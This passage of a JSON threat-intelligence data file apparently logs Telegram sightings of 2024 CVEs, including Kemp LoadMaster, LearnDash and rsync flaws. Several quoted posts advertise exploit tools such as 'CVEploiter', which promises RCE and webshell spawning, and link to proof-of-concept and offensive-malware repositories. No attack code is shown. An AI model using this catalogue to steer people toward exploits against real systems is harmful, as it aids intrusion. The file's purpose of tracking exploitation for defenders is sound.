advanced techniques and offensive malware for Red Team, with a specific focus on the Rust programming language.\n\nhttps://github.com/joaoviictorti/RustRedOps\n\n#HackersFactory", "creation_timestamp": "2024-03-24T01:12:42.000000Z"}, {"uuid": "cbdb8876-2d21-4107-8537-d1496d73a2b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/AGENTZSECURITY/1122", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2025-03-05T14:04:07.000000Z"}, {"uuid": "7241b8b4-c894-4a7d-9405-608567533dd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://t.me/arpsyndicate/4213", "content": "#ExploitObserverAlert\n\nCVE-2024-1234\n\nDESCRIPTION: Exploit Observer has 7 entries in 2 file formats related to CVE-2024-1234. The Exclusive Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via data attribute in all versions up to, and including, 2.6.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor access or higher, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-03-15T04:06:12.000000Z"}, {"uuid": "289458d4-bd9e-489e-a821-5ecf4dd0cee5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://t.me/arpsyndicate/4270", "content": "#ExploitObserverAlert\n\nPD/http/cves/2024/CVE-2024-1212\n\nDESCRIPTION: Exploit Observer has 7 entries in 4 file formats related to PD/http/cves/2024/CVE-2024-1212. Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.", "creation_timestamp": "2024-03-21T13:36:23.000000Z"}, {"uuid": "e491a012-6c78-4751-9b1c-9a626d61e41d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "Telegram/slg1e6S7t9mR9WD5Aitsk1Ar3hGjfLQUDfVVAeV9iDmR5w", "content": "", "creation_timestamp": "2024-12-20T07:07:16.000000Z"}, {"uuid": "4b868df0-2f0a-4d9b-94de-c254a3cfc605", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1297", "type": "seen", "source": "https://t.me/arpsyndicate/3706", "content": "#ExploitObserverAlert\n\nCVE-2024-1297\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2024-1297. Loomio version 2.22.0 allows executing arbitrary commands on the server.  This is possible because the application is vulnerable to OS Command Injection.\n\nFIRST-EPSS: 0.000660000\nNVD-IS: 6.0\nNVD-ES: 3.9", "creation_timestamp": "2024-02-21T07:00:44.000000Z"}, {"uuid": "9d503cf9-c29d-48e3-b32b-01bb89bac381", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "Telegram/nijFPmulGSJ7GXqbamJhv2Jo84bFZjhbs9WM1DO2JDAXaw", "content": "", "creation_timestamp": "2024-11-19T09:10:12.000000Z"}, {"uuid": "6c379168-5bb8-4c5e-ac38-3caa7b5d25e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://t.me/arpsyndicate/4900", "content": "#ExploitObserverAlert\n\nCVE-2024-1212\n\nDESCRIPTION: Exploit Observer has 42 entries in 11 file formats related to CVE-2024-1212. Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.\n\nFIRST-EPSS: 0.002130000\nARPS-PRIORITY: 0.9770812", "creation_timestamp": "2024-05-02T21:12:07.000000Z"}, {"uuid": "f241326e-8667-4c46-97a7-137ab60db6bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://t.me/arpsyndicate/4053", "content": "#ExploitObserverAlert\n\nCVE-2024-1212\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2024-1212. Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.", "creation_timestamp": "2024-02-22T21:17:34.000000Z"}, {"uuid": "8293a2d6-65c0-45eb-a3f2-95e64fd68990", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "seen", "source": "https://t.me/arpsyndicate/3868", "content": "#ExploitObserverAlert\n\nPD/http/cves/2024/CVE-2024-1210\n\nDESCRIPTION: Exploit Observer has 8 entries in 5 file formats related to PD/http/cves/2024/CVE-2024-1210. The LearnDash LMS plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.10.1 via API. This makes it possible for unauthenticated attackers to obtain access to quizzes.", "creation_timestamp": "2024-02-21T21:20:53.000000Z"}, {"uuid": "933cee1d-4487-4c65-b2ab-069c93278530", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1208", "type": "seen", "source": "https://t.me/arpsyndicate/3873", "content": "#ExploitObserverAlert\n\nPD/http/cves/2024/CVE-2024-1208\n\nDESCRIPTION: Exploit Observer has 8 entries in 5 file formats related to PD/http/cves/2024/CVE-2024-1208. The LearnDash LMS plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.10.2 via API. This makes it possible for unauthenticated attackers to obtain access to quiz questions.", "creation_timestamp": "2024-02-21T21:27:40.000000Z"}, {"uuid": "59e2192d-2c66-42ec-8b15-766c7716b563", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1209", "type": "seen", "source": "https://t.me/arpsyndicate/3862", "content": "#ExploitObserverAlert\n\nPD/http/cves/2024/CVE-2024-1209\n\nDESCRIPTION: Exploit Observer has 8 entries in 5 file formats related to PD/http/cves/2024/CVE-2024-1209. The LearnDash LMS plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.10.1 via direct file access due to insufficient protection of uploaded assignments. This makes it possible for unauthenticated attackers to obtain those uploads.", "creation_timestamp": "2024-02-21T21:13:12.000000Z"}, {"uuid": "dba3cfcf-fcb6-4241-be42-5381e4f81af7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "exploited", "source": "Telegram/dwDeRHLGAgn4bJelC7wsD8o5UbrvAREJdCqrSBgOb8boCw", "content": "", "creation_timestamp": "2025-01-14T08:05:53.000000Z"}, {"uuid": "84f8c2d8-31ce-47c2-85fe-c610c4751cb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "Telegram/-uSC9Mmljt6p1HPkgodOIwpnVbLLE9A1Fu-pC_Xbd2eqFg", "content": "", "creation_timestamp": "2024-12-28T09:41:55.000000Z"}, {"uuid": "4fecdbe4-0b23-4e5f-a66a-5e3a350d5bb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "Telegram/pd6Hois9L-Ok_Ydu60EWoBX9NnIXOJfrvpd0U-oT8UhSwA", "content": "", "creation_timestamp": "2025-03-11T12:18:53.000000Z"}, {"uuid": "07263b74-ee45-4eef-8dc9-abc1f7f48a09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "Telegram/MPcVPESseB3g11ZZB4yY7JaaoFWGltfHzK6oAQfm9x63aA", "content": "", "creation_timestamp": "2025-02-20T10:59:50.000000Z"}, {"uuid": "b3134bb7-bb1e-4e5c-985f-20661ee2e068", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12908", "type": "seen", "source": "https://t.me/ZeroDay_ru/370", "content": "#exploit\n1. CVE-2024-3393:\nPalo Alto Networks PAN-OS Malicious DNS Packet Vulnerability (DoS)\n\n2. CVE-2024-12908:\nDelinea Protocol Handler - RCE via Update Process\n\n3. CVE-2024-53677:\nUnrestricted Upload of File with Dangerous Type and RCE in Apache Struts\n\n4. CVE-2021-44967:\nLimeSurvey <=5.2 - RCE\n\n5. CVE-2024-47575:\nFortinet FortiManager Missing Authentication", "creation_timestamp": "2025-01-06T13:23:51.000000Z"}, {"uuid": "5808f80f-8ec1-4be9-9b29-5ce5179db5fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/1536", "content": "Penetration/POCs/CVE-2024-12754 at main \u00b7 CICADA8-Research/Penetration \n\nhttps://github.com/CICADA8-Research/Penetration/tree/main/POCs/CVE-2024-12754\n\n#Tools@CyberDilara", "creation_timestamp": "2025-02-21T04:08:04.000000Z"}, {"uuid": "d559420f-602f-4a9f-89de-379139e6cf37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/CyberDilara/149", "content": "Tools - Hackers Factory\n\nResources for Mobile Application Testing\n\nhttps://github.com/0xSojalSec/Mobile-Application-Security\n\nCVE-2024-1212: Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.\n\nhttps://github.com/Chocapikk/CVE-2024-1212\n\nbug_bounty_scripts\n/firebase-scanner.py\n\nhttps://github.com/geeknik/bug_bounty_scripts/blob/main/firebase-scanner.py\n\nIndirect syscalls + DInvoke made simple.\n\nhttps://github.com/nbaertsch/nimvoke\n\nWindows Kernel Pool (clfs.sys) Corruption Privilege Escalation\n\nhttps://github.com/Nassim-Asrir/CVE-2023-36424\n\nOSINT tools for Information gathering, Cybersecurity, Reverse searching, bugbounty, trust and safety, red team oprations and more.\n\nhttps://github.com/Astrosp/Awesome-OSINT-For-Everything\n\nRembg is a tool to remove images background\n\nhttps://github.com/danielgatis/rembg\n\nHiddenVM \u2014 Use any desktop OS without leaving a trace.\n\nhttps://github.com/aforensics/HiddenVM\n\nGooFuzz is a tool to perform fuzzing with an OSINT approach, managing to enumerate directories, files, subdomains or parameters without leaving evidence on the target's server and by means of advanced Google searches (Google Dorking).\n\nhttps://github.com/m3n0sd0n4ld/GooFuzz\n\nRustRedOps is a repository dedicated to gathering and sharing advanced techniques and offensive malware for Red Team, with a specific focus on the Rust programming language.\n\nhttps://github.com/joaoviictorti/RustRedOps\n\n#HackersFactory", "creation_timestamp": "2024-06-17T13:58:11.000000Z"}, {"uuid": "02779310-5b87-45ed-9a9f-f93815d01916", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/tengkorakcybercrewz/791", "content": "Tools - Hackers Factory\n\nResources for Mobile Application Testing\n\nhttps://github.com/0xSojalSec/Mobile-Application-Security\n\nCVE-2024-1212: Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.\n\nhttps://github.com/Chocapikk/CVE-2024-1212\n\nbug_bounty_scripts\n/firebase-scanner.py\n\nhttps://github.com/geeknik/bug_bounty_scripts/blob/main/firebase-scanner.py\n\nIndirect syscalls + DInvoke made simple.\n\nhttps://github.com/nbaertsch/nimvoke\n\nWindows Kernel Pool (clfs.sys) Corruption Privilege Escalation\n\nhttps://github.com/Nassim-Asrir/CVE-2023-36424\n\nOSINT tools for Information gathering, Cybersecurity, Reverse searching, bugbounty, trust and safety, red team oprations and more.\n\nhttps://github.com/Astrosp/Awesome-OSINT-For-Everything\n\nRembg is a tool to remove images background\n\nhttps://github.com/danielgatis/rembg\n\nHiddenVM \u2014 Use any desktop OS without leaving a trace.\n\nhttps://github.com/aforensics/HiddenVM\n\nGooFuzz is a tool to perform fuzzing with an OSINT approach, managing to enumerate directories, files, subdomains or parameters without leaving evidence on the target's server and by means of advanced Google searches (Google Dorking).\n\nhttps://github.com/m3n0sd0n4ld/GooFuzz\n\nRustRedOps is a repository dedicated to gathering and sharing advanced techniques and offensive malware for Red Team, with a specific focus on the Rust programming language.\n\nhttps://github.com/joaoviictorti/RustRedOps\n\n#HackersFactory", "creation_timestamp": "2024-03-24T01:12:42.000000Z"}, {"uuid": "e6d2975e-2b6d-42b8-aba7-545563432e6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/LeakingCode/12981", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-06-16T15:10:15.000000Z"}, {"uuid": "c660fa39-aa7e-46b5-b938-586b579db4a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "published-proof-of-concept", "source": "Telegram/9tSKlxV2LGf03XtO-I3nh7JO83WEmd9HbXLgiO9yU6WtVXk", "content": "", "creation_timestamp": "2025-01-11T22:00:06.000000Z"}, {"uuid": "c71cb4c3-fa80-469c-be73-4d5e46a37ed8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12252", "type": "published-proof-of-concept", "source": "Telegram/vQ0Sm3TCgGLw115KTy13Xlz5wNa50qfz0GIGSnr52V26EMk", "content": "", "creation_timestamp": "2025-03-26T20:00:07.000000Z"}, {"uuid": "be38133c-ab3c-4d6a-a5d2-372fb57a47f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "published-proof-of-concept", "source": "Telegram/w325E41di4scLZAZeav1H5x7KtwWQEG9CnYV1IaJHJrRvx4", "content": "", "creation_timestamp": "2025-01-30T04:00:07.000000Z"}, {"uuid": "07fda8aa-e68b-4140-b9b5-042719560519", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12905", "type": "published-proof-of-concept", "source": "Telegram/hru7NN7EYI-xT4JmOnsEkxtF0d6B0YZMLzams5CbWl1Ym4s", "content": "", "creation_timestamp": "2025-04-24T23:00:06.000000Z"}, {"uuid": "4b62c232-8f3d-4c8b-b411-310697114287", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "https://t.me/KomunitiSiber/2884", "content": "Warning: VMware vCenter and Kemp LoadMaster Flaws Under Active Exploitation\nhttps://thehackernews.com/2024/11/cisa-alert-active-exploitation-of.html\n\nNow-patched security flaws impacting Progress Kemp LoadMaster and VMware vCenter Server have come under active exploitation in the wild, it has emerged.\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Monday added CVE-2024-1212 (CVSS score: 10.0), a maximum-severity security vulnerability in Progress Kemp LoadMaster to its Known Exploited Vulnerabilities (KEV) catalog. It was", "creation_timestamp": "2024-11-19T12:32:55.000000Z"}, {"uuid": "1b0e109a-bb95-4571-9603-686c4fdbbdec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12252", "type": "published-proof-of-concept", "source": "Telegram/yRj3rvTPwwJJrmgfCfqzU7qpeXOxuv70IH7oKMdEI3GidpE", "content": "", "creation_timestamp": "2025-03-26T10:00:06.000000Z"}, {"uuid": "3a70199e-4977-4a66-b6af-031b9f4751c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "published-proof-of-concept", "source": "Telegram/QhLs29f9jkMndQUEOq_y-kCPKJZ0R7iOs5J6PJ7Zi4bzPbA", "content": "", "creation_timestamp": "2025-01-21T08:51:27.000000Z"}, {"uuid": "a809c69e-68ba-4986-b870-ed475e7eb042", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12542", "type": "published-proof-of-concept", "source": "Telegram/AXGaw1ceyh_E-ZjbEf2s9J-O6L5Ne7SNm2QOhOOawMBRxWY", "content": "", "creation_timestamp": "2025-02-04T08:00:11.000000Z"}, {"uuid": "573a5317-5015-4bee-a177-e46a7645f584", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "published-proof-of-concept", "source": "Telegram/xZHT8JlrDuekMeiBBl0Kib0SITZuNyErjrt8ZC6vQEtaQSo", "content": "", "creation_timestamp": "2025-01-20T20:10:31.000000Z"}, {"uuid": "a6cec25e-5453-4c26-bcfc-da2dee1bfc46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1247", "type": "published-proof-of-concept", "source": "Telegram/cGlNk2XPqI5hfrvKJxbIt4B5c5ls0VW2CeJKCk0bOlVUG7A", "content": "", "creation_timestamp": "2025-01-15T16:00:09.000000Z"}, {"uuid": "8963e65a-7d5d-408a-ad01-b3fd7d0c9b09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12342", "type": "published-proof-of-concept", "source": "Telegram/WaBw3Jw0vb5AGJc9tIYoYKjH3e2RrXYOROLA0rL6tF_sE5E", "content": "", "creation_timestamp": "2025-04-30T05:00:10.000000Z"}, {"uuid": "a13d81e6-4694-449d-8691-2f37b065927b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12342", "type": "published-proof-of-concept", "source": "Telegram/oXbZUyDkh9HvYDCcVwESbtZAPUw4sF4JBZ0Dd5j_85BRE8U", "content": "", "creation_timestamp": "2025-04-30T05:00:07.000000Z"}, {"uuid": "c0bb31e5-81fa-47dd-a7b7-e504e929d083", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12008", "type": "seen", "source": "Telegram/fSuv2KpyfIksaa8qqgqv5fCpt00UzRfooou1l9gqHjc-A0g", "content": "", "creation_timestamp": "2025-03-11T22:00:06.000000Z"}, {"uuid": "33acb486-fd1c-4ff6-ae6c-c44507383589", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12542", "type": "published-proof-of-concept", "source": "Telegram/blYNuS22oA3M4gwP55mU-0GZL2_-xpbiG9GK2fE4rHQlvxM", "content": "", "creation_timestamp": "2025-01-10T16:00:09.000000Z"}, {"uuid": "5e9b58c6-7da1-4d94-acb0-fc6c3ec62697", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12886", "type": "published-proof-of-concept", "source": "Telegram/TH2kPKxkcvQyb1m-8snBxNJYC7rG2GntpZED8loGES4uw-U", "content": "", "creation_timestamp": "2025-02-20T20:00:06.000000Z"}, {"uuid": "01e5750e-da25-4ef7-a6bd-53402874d47b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12029", "type": "published-proof-of-concept", "source": "Telegram/TH2kPKxkcvQyb1m-8snBxNJYC7rG2GntpZED8loGES4uw-U", "content": "", "creation_timestamp": "2025-02-20T20:00:06.000000Z"}, {"uuid": "b2aa0fbe-cb1a-4f62-bfb7-5a38a0a11d64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatCommunity/7670", "content": "Tools - Hackers Factory\n\nResources for Mobile Application Testing\n\nhttps://github.com/0xSojalSec/Mobile-Application-Security\n\nCVE-2024-1212: Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.\n\nhttps://github.com/Chocapikk/CVE-2024-1212\n\nbug_bounty_scripts\n/firebase-scanner.py\n\nhttps://github.com/geeknik/bug_bounty_scripts/blob/main/firebase-scanner.py\n\nIndirect syscalls + DInvoke made simple.\n\nhttps://github.com/nbaertsch/nimvoke\n\nWindows Kernel Pool (clfs.sys) Corruption Privilege Escalation\n\nhttps://github.com/Nassim-Asrir/CVE-2023-36424\n\nOSINT tools for Information gathering, Cybersecurity, Reverse searching, bugbounty, trust and safety, red team oprations and more.\n\nhttps://github.com/Astrosp/Awesome-OSINT-For-Everything\n\nRembg is a tool to remove images background\n\nhttps://github.com/danielgatis/rembg\n\nHiddenVM \u2014 Use any desktop OS without leaving a trace.\n\nhttps://github.com/aforensics/HiddenVM\n\nGooFuzz is a tool to perform fuzzing with an OSINT approach, managing to enumerate directories, files, subdomains or parameters without leaving evidence on the target's server and by means of advanced Google searches (Google Dorking).\n\nhttps://github.com/m3n0sd0n4ld/GooFuzz\n\nRustRedOps is a repository dedicated to gathering and sharing advanced techniques and offensive malware for Red Team, with a specific focus on the Rust programming language.\n\nhttps://github.com/joaoviictorti/RustRedOps\n\n#HackersFactory", "creation_timestamp": "2024-03-23T23:50:30.000000Z"}, {"uuid": "f6d77fb8-a11f-4ca3-94b5-68673bd1fcdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://t.me/GrayHatsHack/9343", "content": "\u26a1\ufe0fCVE-2024-12912 & CVE-2024-13062: ASUS Routers at Risk.\n\n#CyberBulletin", "creation_timestamp": "2025-01-06T06:33:13.000000Z"}, {"uuid": "d3b38a39-47ca-49bc-836b-574b190accee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "published-proof-of-concept", "source": "Telegram/tvZdzXkKZ27U06jdVi__cs4wGSX_zTcNT9cWAdl0CKJ0LwWf", "content": "", "creation_timestamp": "2025-02-10T09:46:29.000000Z"}, {"uuid": "46d0dbe2-0d80-48fe-a41c-d77d2092281b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/GhostsForum/20641", "content": "Tools - Hackers Factory\n\nResources for Mobile Application Testing\n\nhttps://github.com/0xSojalSec/Mobile-Application-Security\n\nCVE-2024-1212: Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.\n\nhttps://github.com/Chocapikk/CVE-2024-1212\n\nbug_bounty_scripts\n/firebase-scanner.py\n\nhttps://github.com/geeknik/bug_bounty_scripts/blob/main/firebase-scanner.py\n\nIndirect syscalls + DInvoke made simple.\n\nhttps://github.com/nbaertsch/nimvoke\n\nWindows Kernel Pool (clfs.sys) Corruption Privilege Escalation\n\nhttps://github.com/Nassim-Asrir/CVE-2023-36424\n\nOSINT tools for Information gathering, Cybersecurity, Reverse searching, bugbounty, trust and safety, red team oprations and more.\n\nhttps://github.com/Astrosp/Awesome-OSINT-For-Everything\n\nRembg is a tool to remove images background\n\nhttps://github.com/danielgatis/rembg\n\nHiddenVM \u2014 Use any desktop OS without leaving a trace.\n\nhttps://github.com/aforensics/HiddenVM\n\nGooFuzz is a tool to perform fuzzing with an OSINT approach, managing to enumerate directories, files, subdomains or parameters without leaving evidence on the target's server and by means of advanced Google searches (Google Dorking).\n\nhttps://github.com/m3n0sd0n4ld/GooFuzz\n\nRustRedOps is a repository dedicated to gathering and sharing advanced techniques and offensive malware for Red Team, with a specific focus on the Rust programming language.\n\nhttps://github.com/joaoviictorti/RustRedOps\n\n#HackersFactory", "creation_timestamp": "2024-03-23T23:50:48.000000Z"}, {"uuid": "155f193e-385e-41f4-a71e-36c1f1f6d737", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://t.me/nemeZ1da_ru/5474", "content": "\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e 